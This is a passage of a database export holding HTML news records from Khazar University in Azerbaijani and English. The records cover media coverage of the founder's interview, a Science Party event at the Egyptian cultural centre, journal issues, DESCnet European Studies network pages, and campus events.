href=\"http://axar.az/news/toplum/139180.html\">http://axar.az/news/toplum/139180.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.lent.az/news/265535\">http://news.lent.az/news/265535</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://politika.az/karusel/27153-dovlet-institutlari-baglanir.html\">http://politika.az/karusel/27153-dovlet-institutlari-baglanir.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/tehsil/bu-dovlet-universitetleri-baglanacaq-rektor_408827.html\">http://musavat.com/news/tehsil/bu-dovlet-universitetleri-baglanacaq-rektor_408827.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://bizimxeber.az/news/178704\">http://bizimxeber.az/news/178704</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://a24.az/dovlet-universitetleri-de-baglana-biler-aciqlama/\">http://a24.az/dovlet-universitetleri-de-baglana-biler-aciqlama/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gunxeber.com/bu-dovl%C9%99t-universitetl%C9%99ri-baglanacaq-rektor/\">http://gunxeber.com/bu-dovlət-universitetləri-baglanacaq-rektor/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.avropa.info/az/post/141353.html\">http://www.avropa.info/az/post/141353.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/bu-dovl%C9%99t-universitetl%C9%99ri-baglanacaq-rektor/\">http://azinforum.az/bu-dovlət-universitetləri-baglanacaq-rektor/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/01/18/dovl%C6%8Ft-universitetl%C6%8Frinin-d%C6%8F-bir-coxu-baglanacaq-sok-aciqlama/\">http://mektebgushesi.az/2017/01/18/dovlət-universitetlərinin-də-bir-coxu-baglanacaq-sok-aciqlama/</a>.&nbsp;</p>'),(3089,1825,'az','Misir Mədəniyyət Mərkəzində “Elm Şənliyi” ','2017-ci il yanvarın 18-də “Elm şənliyi” layihəsinin aparıcı tərəfdaşlarından olan Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzində mərkəzin rəhbəri Dr. Əhməd Sami Elaydinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il yanvarın 18-də “Elm şənliyi” layihəsinin\r\naparıcı tərəfdaşlarından olan Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzində mərkəzin\r\nrəhbəri Dr. Əhməd Sami Elaydinin təşəbbüsü ilə Xəzər Universitetindən tədbirin\r\ntəşkilatçıları və iştirakçıları üçün dəvət təşkil olundu. Tədbiri giriş sözü ilə\r\nmərkəzin rəhbəri Dr. Əhməd Sami Elaydi açaraq, Azərbaycan və Misir arasında mədəni\r\nvə təhsil əlaqələri bu gün özünün ən mütərəqqi dövrünü yaşadığını, “Elm şənliyi”\r\nlayihəsinin mütərəqqi əhəmiyyətini və Misir-Azərbaycan əlaqələrinin güclənməsini\r\nbildirdi. O, Azərbaycan və Misir xalqlarının ortaq tarixi, mədəniyyəti, dil və\r\ndin birliyindən bəhs etdi. Daha sonra Misir haqqında qısa video çarx nümayiş\r\nolundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonra Xəzər Universiteti Təhsil fakültəsinin dekanı\r\nElza Səmədova çıxış etdi. Tədbirdə Azərbaycan Respublikası Prezidenti\r\nyanında&nbsp;&nbsp;Dövlət İdarəçilik Akademiyasından Firdovsiyyə Əhmədova və\r\nHavva Məmmədova, həmçinin, layihənin redaksiya heyətinin rəhbəri, BDU-nin\r\nArxeologiya və etnoqrafiya kafedrasının müdiri professor Qüdrət İsmayılzadə\r\niştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha sonra layihənin rəhbəri Turanə Zamanova və digər\r\ntəşkilatçılar tərəfdaşlara təşəkkürünü bildirərək, belə layihələrin təşkilinin əhəmiyyətindən\r\nbəhs etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirin rəsmi hissəsindən sonra dəvətlilərə Misir\r\nMədəniyyət və Təhsil Əlaqələri Mərkəzində olan maraqlı eksponatlar və zəngin\r\nkitabxana nümayiş olundu. Daha sonra çay süfrəsi arxasında elmin və təhsilin inkişafı\r\nilə bağlı fikir mübadiləsi aparıldı.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, 2016-cı il dekabrın 23-də Xəzər\r\nUniversitetinin “Mərmər” zalında “Elm şənliyi” layihəsinin yekun tədbiri\r\nkeçirilmişdi.</p>'),(3090,1823,'en','Khazar University Doctoral Student’s Interview with APA','On January 18, 2017, APA News Agency published an interview with Sana Imran, Khazar University’s doctoral student. The interview was published in English...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">On January\r\n18, 2017, APA News Agency published an interview with Sana Imran, Khazar\r\nUniversity’s doctoral student. The interview was published in English.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">The full\r\ninterview can be found via the following link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><a href=\"http://en.apa.az/azerbaijan-politics/foreign-news/sana-imran-azerbaijan-a-fast-developing-very-safe-muslim-country-of-south-caucasus-interview.html\">http://en.apa.az/azerbaijan-politics/foreign-news/sana-imran-azerbaijan-a-fast-developing-very-safe-muslim-country-of-south-caucasus-interview.html</a>.&nbsp;</p>'),(3091,1824,'en','Founder’s Interview for Media','On January 18, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees,  gave an interview to media...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nJanuary 18, 2017, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, &nbsp;gave an interview to media representatives in which\r\nhe shared his opinions on the future of higher educational intuitions. Several\r\nnews organizations ran the story. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His interview is available\r\nat the following links:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://publika.az/news/bilik/184206.html\">http://publika.az/news/bilik/184206.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-25057/%22D%C3%B6vl%C9%99t_universitetl%C9%99rinin_d%C9%99_bir_%C3%A7oxu_ba%C4%9Flanacaq%22_-__%C5%9EOK_A%C3%87IQLAMA_\">http://www.sherg.az/site/id-25057/“Dövlət_universitetlərinin_də_bir_çoxu_bağlanacaq”_-__ŞOK_AÇIQLAMA_</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azerinews.tv/cemiyyet/6293-rektordan-ok-aqlama-dvlt-universitetlrinin-d-bir-oxu-balanacaq.html\">http://azerinews.tv/cemiyyet/6293-rektordan-ok-aqlama-dvlt-universitetlrinin-d-bir-oxu-balanacaq.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://yenizaman.az/v5/w60480/.../\">http://yenizaman.az/v5/w60480/.../</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://dunyamedia.az/c%C9%99miyy%C9%99t/9040.html\">http://dunyamedia.az/cəmiyyət/9040.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regioninfo.az/rektordan-sok-aciqlama-dovl%C9%99t-universitetl%C9%99rinin-d%C9%99-bir-coxu-baglanacaq/\">http://regioninfo.az/rektordan-sok-aciqlama-dovlət-universitetlərinin-də-bir-coxu-baglanacaq/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.azertaym.az/sosial/19217-dovlet-universitetlerinin-de-bir-choxu-baglanacaq-.html\">http://www.azertaym.az/sosial/19217-dovlet-universitetlerinin-de-bir-choxu-baglanacaq-.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://milliyol.az/_d_vlet_universitetlerinin_de_bir__oxu_ba_lanacaq__-__ok_a_iqlama-5695-xeber.html\">http://milliyol.az/_d_vlet_universitetlerinin_de_bir__oxu_ba_lanacaq__-__ok_a_iqlama-5695-xeber.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://rublika.az/index.php?newsid=21629\">http://rublika.az/index.php?newsid=21629</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://axar.az/news/toplum/139180.html\">http://axar.az/news/toplum/139180.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.lent.az/news/265535\">http://news.lent.az/news/265535</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://politika.az/karusel/27153-dovlet-institutlari-baglanir.html\">http://politika.az/karusel/27153-dovlet-institutlari-baglanir.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/tehsil/bu-dovlet-universitetleri-baglanacaq-rektor_408827.html\">http://musavat.com/news/tehsil/bu-dovlet-universitetleri-baglanacaq-rektor_408827.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://bizimxeber.az/news/178704\">http://bizimxeber.az/news/178704</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://a24.az/dovlet-universitetleri-de-baglana-biler-aciqlama/\">http://a24.az/dovlet-universitetleri-de-baglana-biler-aciqlama/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gunxeber.com/bu-dovl%C9%99t-universitetl%C9%99ri-baglanacaq-rektor/\">http://gunxeber.com/bu-dovlət-universitetləri-baglanacaq-rektor/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.avropa.info/az/post/141353.html\">http://www.avropa.info/az/post/141353.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/bu-dovl%C9%99t-universitetl%C9%99ri-baglanacaq-rektor/\">http://azinforum.az/bu-dovlət-universitetləri-baglanacaq-rektor/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/01/18/dovl%C6%8Ft-universitetl%C6%8Frinin-d%C6%8F-bir-coxu-baglanacaq-sok-aciqlama/\">http://mektebgushesi.az/2017/01/18/dovlət-universitetlərinin-də-bir-coxu-baglanacaq-sok-aciqlama/</a></p>'),(3092,1826,'az','“Xəzər Xəbər”  jurnalının 2016-cı il dekabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il dekabr nömrəsi (357-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə...','<p>“Xəzər Xəbər” jurnalının 2016 - ci il\r\ndekabr nömrəsi (357-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan\r\nçıxmışdır. Jurnalı bu linkdə də oxuya\r\nbilərsiniz:</p><p> <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3093,1826,'en','Khazar Review Journal December Issue Published','The December issue of the Khazar Review journal (number 357) was published by Khazar University Press. The journal is available...','<p>The December issue of the Khazar Review\r\njournal (number 357) was published by Khazar University Press. The journal is available electronically at this link:</p><p> <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3094,1825,'en','“Science Party” at Egyptian Cultural Center','On January 18, 2017, an event of the \"Science Party\" project was held  at the Center for Cultural and Educational Relations of the Egyptian Embassy with the coordination of Dr. Ahmed...','<p>On January 18, 2017, an event of\r\nthe&nbsp;\"Science Party\" project was&nbsp;held&nbsp;&nbsp;at&nbsp;the\r\nCenter for Cultural and Educational Relations of the Egyptian Embassy with the coordination of Dr. Ahmed Sami Elaydi, Head of\r\nthe Center. Dr. Ahmed Sami Elaydi opened the event and spoke about the cultural\r\nand educational ties between Egypt and Azerbaijan. A short film about\r\nEgypt was shown to the event participants.</p>\r\n<p style=\"\" margin-top:1.2pt;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">Then\r\na speech was made by Dr. Elza Semedova, Dean of the School of Education. The\r\nevent was also attended by&nbsp;Firdovsiyya Ahmadova və Havva Mammadova from Academy of Public\r\nAdministration under the President of Azerbaijan,&nbsp;Gudrat&nbsp;Isamilzada,\r\nHead of the department of Archeology and Ethnography of Baku State University.</p>\r\n<p style=\"\" margin-top:1.2pt;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">Turana&nbsp;Zamanova, &nbsp;the project\r\ncoordinator, also made a speech in which she expressed her gratitude to the\r\nproject partners and emphasized the importance of such events.</p>\r\n<p style=\"\" margin-top:1.2pt;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">The ceremony continued with an\r\ninteresting exhibit and a library tour. A reception followed.</p>\r\n<p style=\"\" margin-top:1.2pt;text-indent:.25in;background-image:initial;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial\"\"=\"\">We note that on December 23, 2016, an\r\nevent of the “Science Party” project was held at Khazar University’s Marble\r\nHall.&nbsp;</p>'),(3231,1901,'en','New Issue of Azerbaijan Journal of Archeology Published','A new issue of Azerbaijan Journal of Archeology(volume 19, number 2, 2016) was published by Khazar University Press. This current issue contains articles on important...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">A new issue of Azerbaijan Journal of\r\nArcheology<strong></strong>(volume 19, number 2, 2016) was\r\npublished by Khazar University Press. This current issue contains articles on\r\nimportant archeological issues in Azerbaijan. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In order to deliver the journal to a\r\nwider audience, the new issue was sent to the National Library of Azerbaijan as\r\nwell as other academic libraries.&nbsp;</p>'),(5770,3307,'en','Winners of the Egg Drop competition awarded','Awarding ceremony for the winners of the Egg Drop competition, held on an organizational...','<p>Awarding ceremony for the winners of the Egg Drop competition, held on an organizational support of the School of Engineering and Applied Sciences, took place on June 12, 2018.</p><p>On an organizational support of the School of Engineering and Applied Sciences, the first Egg Drop competition was held on May 25, 2018. This competition was all about challenging the creativity of participants in application of engineering science to safely land a fragile object, here represented as an egg, dropping from a high altitude of 20 m. The criteria to select the champion of the competition included the lightness of structure, the speed and the accuracy of landing on the target determined on the ground. Faculty members of the School of Engineering and Applied Sciences Dr. Mirsadegh Seyidzavvar and Dr. Mehdi Kiyasatfar were appointed as referees for this competition. A total of 11 teams participated in this competition. According to the final results, two teams namely “Mechanical Power” (members: Kheyrulla Amirov&nbsp;and Ziya Mehdiyev) and HERO (member: Nijat Aliyev) demonstrated the most creative design gaining the highest scores among other teams based on the specified criteria. The champions of the contest received financial award and certificate of first place holder from Dr. Hassan Niknafs, the Acting Dean of School of Applied Sciences and Engineering. The other participants were given a certificate of participation.</p>'),(3819,2225,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(3095,1827,'az','DESCnet','DESCnet',''),(3096,1827,'en','DESCnet','DESCnet','<p><img src=\"/files/politics_depart/desc2.png\" style=\"width:500px;height:206px;vertical-align:middle\"><br></p><p><br></p><p>Welcome to <a href=\"http://descnet.eu\"><strong>DESCnet webpage</strong></a><a href=\"http://descnet.eu\"><strong>!</strong></a><a href=\"http://descnet.eu\"></a></p><p>DESCnet stands for&nbsp;the&nbsp;Network for Developing European Studies in&nbsp;the&nbsp;Caucasus, which&nbsp;is a Jean Monnet Network designed with the aim to enhance the level of European Studies in the Caucasus region. The network consists of 9 partner universities from Europe and the wider Caucasus region and represents a novel approach towards promoting the idea of European Studies in the Caucasus.</p><p>DESCnet activities are divided into three areas: teaching (seasonal schools for BA and MA students); research enhancement (young researchers’ seminars for PhD students; AESC annual conventions and a working paper series); and outreach (AESC annual conventions and a working paper series). One of DESCnet’s main activities is the operation of “The Association of European Studies for the Caucasus” (AESC).</p><p>The network’s activities provide a unique opportunity not only for student mobility and exchange, but also for young teachers who engage in their subjects and provide tutoring on research related to European Studies. The project is aimed at training a new generation of advanced academics in cutting-edge teaching and research methodologies and enhancing the research capacities in the target countries in order to create opportunities for young researchers to publicly present and publish their research.</p><p><br></p><p><img src=\"/files/politics_depart/eu_flag_co_funded_pos_rgb_right_0.jpg\" style=\"width:300px;height:85px;float:left\"><br></p>'),(3119,1842,'az','Əli Poladın yeni kitablarının təqdimatı keçirildi','2017-ci il yanvarın 24-də “Dünya” məktəbində tanınmış iş adamı, yazıçı və tədqiqatçı, Türkiyə və Azərbaycan Yazıçılar Birliyinin fəxri üzvü, professor Əli Poladla...','<p>2017-ci il yanvarın 24-də “Dünya” məktəbində tanınmış iş adamı, yazıçı və tədqiqatçı, Türkiyə və Azərbaycan Yazıçılar Birliyinin fəxri üzvü, professor Əli Poladla görüş keçirildi. Görüşün keçirilməsində məqsəd Əli Poladın yeni –“Suyun gücü”, “Yaşasın su içmək!”, “Su: həyat enerjim” kitablarının təqdimatı ilə bağlı idı.&nbsp;</p><p>Tədbirdə Əli Poladın həyat yolunu əks etdirən və “Dünya” məktəbinin yaranma tarıxini işıqlandıran film nümayış olundu.&nbsp;</p><p>O, suyun faydası haqqında danışdı və şagirdlərə mövzu ilə bağlı suallar verdi. Məktəbin 5 “B” sinif şagirdləri Aynur Abdullayeva və Alsu Əsədli su mövzusunda maraqlı təqdimat etdilər. Məktəbin qızlardan və oğlanlardan ibarət rəqs qrupu tədbirdə rəqs nümunələri nümayiş etdirdilər.</p><p>Tədbirdə tarix elmləri doktoru, professor Solmaz Tohidi və yazıçı-jurnalist, fəlsəfə doktoru, ATV kanalının vitse-prezidenti Etibar Babayev Əli Poladın yaradıcılığı və naşirlik sənəti ilə bağlı fikirlərini söylədilər.</p><p>Görüş Ə.Poladın və qonaqların məktəbin kitabxanasına ekskursiyası və kitablarını məktəb kitabxanasına hədiyyə etməsi ilə başa çatdı.</p>'),(3097,1829,'en','Professor Hamlet Isaxanli’s Article about Koroğlu','On January 20, 2017, an article by Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, entitled “ Koroghlu in American Poetry...','<p>On January 20, 2017, an\r\narticle by Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of\r\nits Board of Directors and Trustees, entitled “ Koroghlu in American Poetry and\r\nMusic” was published in 525<sup>th</sup> Newspaper. In the article, Prof.\r\nIsaxanli shares his thoughts about&nbsp;Longfellow’s literary career, “The Leap\r\nof Roushan Beg”, the problems of collecting and recording oral literature\r\nproducts, two ballads by James Dear and Horatio Parker based on Longfellow’s\r\npoem as well as factual assumptions on Longfellow’s familiarity with <em>Koroğlu\r\nDastanı</em> and Jafar Jabbarli’s translation of Lonfellow’s poem.&nbsp;</p>'),(3098,1830,'az','“Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar keçiriləcək','2017-ci il yanvarın 28-i saat 12:00-da Xəzər Universitetində “Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il yanvarın 28-i saat 12:00-da Xəzər\r\nUniversitetində “Çətin iqtisadi vaxtlarda məzun olmaq” mövzusunda seminar\r\nkeçiriləcək. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminarda karyera planlama sahəsində 25\r\nildən çox təcrübəyə sahib olan Douglas Reichenberger əsas mərüzəçi kimi çıxış\r\nedəcək. Azərbaycana Amerikanın Azərbaycandakı səfirliyinin “Alumni Max” proqramı\r\nçərçivəsində gələn cənab Reichenberger tədbir iştirakçılarına müasir iş\r\ndünyasının tələbləri və karyera qazanma yolları haqqında məlumat verəcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminar Xəzər Universitetinin “Neftçilər”\r\nkorpusunun yeni binasında, LLL Mərkəzdə keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Maraqlanan hər kəs dəvət olunur.</p>'),(3099,1829,'az','Professor Hamlet İsaxanlı Koroğludan yazdı','20 yanvar 2017-ci il tarixində 525-ci qəzetdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlının “Koroğlu Mövzusu Amerikanın...','<p>20 yanvar 2017-ci il\r\ntarixində 525-ci qəzetdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri Professor Hamlet İsaxanlının “Koroğlu Mövzusu Amerikanın Şeir və\r\nMusiqi Dünyasında” adlı məqaləsi çap olunub. Məqalədə Henry Wadsworth Longfellow-nun\r\nyaradıcılığı, “The Leap of Roushan Beg” şeiri, şifahi xalq ədəbiyyatı nümunələrinin\r\nyazıya alnıması problemləri, şeirə Amerikalı bəstəkarlar tərəfindən yazılmış\r\nballadalalar haqqında fikirləri, habelə Longfellow-nun “Koroğlu Dastanı” ilə\r\ntanışlığı və Cəfər Cabbarlının şeiri Azərbaycan dilinə çevirməsi haqqında\r\nfaktlara əsaslanan fərziyyələri öz əksini tapıb.&nbsp;</p>'),(3100,1831,'az','Activities','Activities',''),(3101,1831,'en','Activities','Activities','<p>Activities of DESCnet network are divided into three areas: teaching, research enhancement, and outreach.</p><p>Teaching activities include seasonal school for advanced BA and MA students, and research colloquia for PhD students. These bilateral extracurricular activities&nbsp;proved to be a unique opportunity not only for students’ mobility and exchange, but also for young teachers who engage in their subjects and provide tutoring on research related to European Studies. Read more:&nbsp;<a href=\"http://sisu.ut.ee/descnet/seasonal-schools\">Seasonal schools.&nbsp;</a></p><p>“Young Researchers’ Seminars”, hosted by&nbsp;the Universities of Graz and Tartu, are called to train a new generation of advanced academics in cutting-edge teaching and research methodologies by hosting a research colloquia for young researchers. These research colloquia contribute both to teaching activities and research enhancement.&nbsp;Read more:&nbsp;<a href=\"https://sisu.ut.ee/descnet/phdseminar\">PhD seminars</a>.</p><p>To further enhance the research capacities in the target countries, the Association of European Studies for the Caucasus” (AESC) has been established as one of the main deliverables and activities of the project. The establishment of AESC and its working papers series will&nbsp;create opportunities for young researchers to publish in international double-blind peer review journal.&nbsp;The affiliation of the working papers to the network is also seen as a tool for outreach and dissemination of research findings. Read more:&nbsp;<a href=\"https://sisu.ut.ee/descnet/aesc%20\">Association of European Studies for the Caucasus</a>&nbsp;(AESC).&nbsp;</p><p>For additional outreach two annual scholarly conventions are organized where an annual prize for the best monograph in the field of European Studies from one of the 5 target countries (Russia, Turkey, Georgia, Armenia, and Azerbaijan) will be offered.&nbsp;Finally, regular meetings among full and associate members of the Network will be held annually to identify best practices in teaching and researching European Studies.</p><p><br></p><p><img src=\"/files/politics_depart/eu_flag_co_funded_pos_rgb_right_0.jpg\" style=\"width:300px;height:85px;float:left\"><br></p>'),(3102,1832,'az','Newsletter','Newsletter',''),(3103,1832,'en','Newsletter','Newsletter','<div><div><div><p>In order to enhance visibility of the project and share the latest news in developing the European Studies in the Caucasus, DESCnet consortium members regularly contribute to the newsletter. Every newsletter features information about upcoming DESCnet events, new publications in the field, news, opinions and comments, past events impressions and announcements of related events, as well as DESCnet dissemination.&nbsp;</p></div></div></div><table><tbody><tr><td><img title=\"application/pdf\" src=\"http://descnet.eu/modules/file/icons/application-pdf.png\"></td><td><a href=\"http://descnet.eu/sites/default/files/descnet/files/descnet_newsletter_1-2016_0.pdf\" target=\"_blank\">descnet_newsletter_1-2016.pdf</a></td><td>2.05 MB</td></tr><tr><td><img title=\"application/pdf\" src=\"http://descnet.eu/modules/file/icons/application-pdf.png\"></td><td><a href=\"http://descnet.eu/sites/default/files/descnet/files/descnet_newsletter_2-2016_0.pdf\" target=\"_blank\">descnet_newsletter_2-2016.pdf</a></td><td>4.58 MB</td></tr><tr><td><img title=\"application/pdf\" src=\"http://descnet.eu/modules/file/icons/application-pdf.png\"></td><td><a href=\"http://descnet.eu/sites/default/files/descnet/files/descnet_newsletter_3-2016.pdf\" target=\"_blank\">descnet_newsletter_3-2016.pdf</a></td><td>6.57 MB</td></tr></tbody></table><br>   <div><br></div><div><br></div><div><br></div><div><img src=\"/files/politics_depart/eu_flag_co_funded_pos_rgb_right_0.jpg\" style=\"width:300px;height:85px;float:left\"><br></div>'),(3104,1830,'en','Seminar to be held on “Graduating at Tough Economic Times: Personal Branding and Networking”','On January 28, 2017 at 12:00, Khazar University will host an open lecture entitled “Graduating at Tough Economic Times...','<p>On January 28, 2017 at 12:00, Khazar University will\r\nhost an open lecture entitled\r\n“Graduating at Tough Economic Times:\r\nPersonal Branding and Networking” by Douglas Reichenberger’s.\r\n&nbsp;The lecture is organized within the Alumni MAX Program\r\nsupported by the Embassy of the United States in Azerbaijan. The lecture is\r\nopen to the public; and will cover various aspects of career\r\nplanning. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Douglas Reichenberger is a Career\r\nServices professional with over 25 years of experience in higher education career\r\ncenters. Mr. Reichenberger is passionate about equipping students with the\r\nskills and tools necessary to discover and pursue their dream careers.</p>\r\n<p>The lecture will take place on the Neftchilar\r\nCampus. Participation is free of charge. Everyone is welcome to attend.&nbsp;</p>'),(3105,1835,'az','“Xəzər”in müəllim və tələbələri Şəhidlər Xiyabanını ziyarət etdilər','2017-ci il yanvarın 20-də Xəzər Universitetinin bir qrup müəllim və tələbəsi 20 Yanvar –Ümummilli Hüzn Günü münasibətilə Şəhidlər Xiyabanını ziyarət etdilər, Azərbaycanın...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il yanvarın 20-də Xəzər Universitetinin bir qrup müəllim\r\nvə tələbəsi 20 Yanvar –Ümummilli Hüzn Günü münasibətilə Şəhidlər Xiyabanını\r\nziyarət etdilər, Azərbaycanın müstəqilliyi və torpaqlarının azadlığı uğrunda şəhid\r\nolmuş həmvətənlərinin ruhuna dualar oxudular.&nbsp;</p>'),(3106,1836,'az','“Potensial məktəb direktorları”na diaqnostik imtahan keçirildi','2017-ci il yanvarın 23-də Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu” layihəsinin VI qəbuluna müraciət...','<p>2017-ci il yanvarın 23-də Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb\r\ndirektorlarına məktəbin idarə edilməsi üzrə təlim kursu” layihəsinin VI qəbuluna\r\nmüraciət edənlər üçün diaqnostik imtahan keçirildi. İmtahandan öncə gələcək\r\nmüdavimlərə kurs haqqında qısa məlumat verildi və onların sualları cavablamdırıldı. </p>\r\n<p>Diaqnostik imtahanın nəticələri yanvarın sonunadək iştrakçılara\r\naçıqlanacaq. Növbəti 3 aylıq təlimin fevralın ilk həftəsindən 